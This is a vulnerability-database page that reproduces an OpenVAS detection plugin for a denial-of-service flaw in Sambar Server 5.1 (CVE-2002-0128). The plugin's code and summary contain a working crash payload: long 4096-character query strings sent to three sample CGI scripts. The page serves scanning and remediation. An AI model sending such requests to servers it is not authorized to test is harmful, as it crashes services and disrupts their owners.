Lucene search
+L

Sambar <= 5.1 DoS Vulnerability - Active Check

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2002 Michel ArboiType 
openvas
 openvas
🔗 plugins.openvas.org👁 19 Views

Sambar 5.1 DoS Vulnerability - Crafted HTTP request can crash serve

Related
Refs
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
Sambar Server cgitest.exe Remote Overflow
18 Nov 199900:00
nessus
nessus
Tenable Nessus
Sambar Server Multiple CGI Remote Overflow
21 Sep 200200:00
nessus
cve
CVE
CVE-2002-0128
25 Jun 200204:00
cve
cvelist
Cvelist
CVE-2002-0128
25 Jun 200204:00
cvelist
exploitdb
Exploit DB
Sambar Server 5.1 - Sample Script Denial of Service
6 Feb 200200:00
exploitdb
euvd
EUVD
EUVD-2002-0128
7 Oct 202500:30
euvd
nvd
NVD
CVE-2002-0128
25 Mar 200205:00
nvd
SourceLink
securityfocuswww.securityfocus.com/bid/3885
# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:sambar:sambar_server";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11131");
  script_version("2023-08-03T05:05:16+0000");
  script_tag(name:"last_modification", value:"2023-08-03 05:05:16 +0000 (Thu, 03 Aug 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2002-0128");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Sambar <= 5.1 DoS Vulnerability - Active Check");

  script_category(ACT_DENIAL);

  script_copyright("Copyright (C) 2002 Michel Arboi");
  script_family("Denial of Service");
  script_dependencies("gb_sambar_server_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("sambar_server/http/detected");

  script_tag(name:"summary", value:"It is possible to kill the Sambar web server 'server.exe'
  by sending it a long request like:

  - /cgi-win/testcgi.exe?XXXX...X

  - /cgi-win/cgitest.exe?XXXX...X

  - /cgi-win/Pbcgi.exe?XXXXX...X (or maybe in /cgi-bin/)");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks if the server still
  responses.");

  script_tag(name:"impact", value:"An attacker may use this flaw to make your server crash
  continuously, preventing you from working properly.");

  script_tag(name:"affected", value:"Sambar WebServer version 5.1 and probably prior.");

  script_tag(name:"solution", value:"Update to version 51p or delete the affected CGI scripts.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/3885");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

if( http_is_dead( port:port ) )
  exit( 0 );

function test_port( port, cgi ) {
  url = string( cgi, "?", crap( 4096 ) );

  req = http_get( item:url, port:port );
  res = http_send_recv( port:port, data:req );
  if( isnull ( res ) )
    return TRUE;
  else
    return FALSE;
}

# The advisories are not clear: is this cgitest.exe or testcgi.exe?
# Is it in cgi-bin or cgi-win?
foreach dir( make_list( "/cgi-bin", "/cgi-win" ) ) {
  foreach file( make_list( "/cgitest.exe", "/testcgi.exe", "/Pbcgi.exe" ) ) {
    if( test_port( port:port, cgi:dir + file ) ) {
      # If we fail on the first connection, this means the server is already dead
      break;
    }
  }
}

if( http_is_dead( port:port ) ) {
  report = "The service is not responding anymore after sending a crafted HTTP request.";
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Aug 2023 00:00Current
6.7Medium risk
Vulners AI Score6.7
CVSS 27.5
EPSS0.10113
19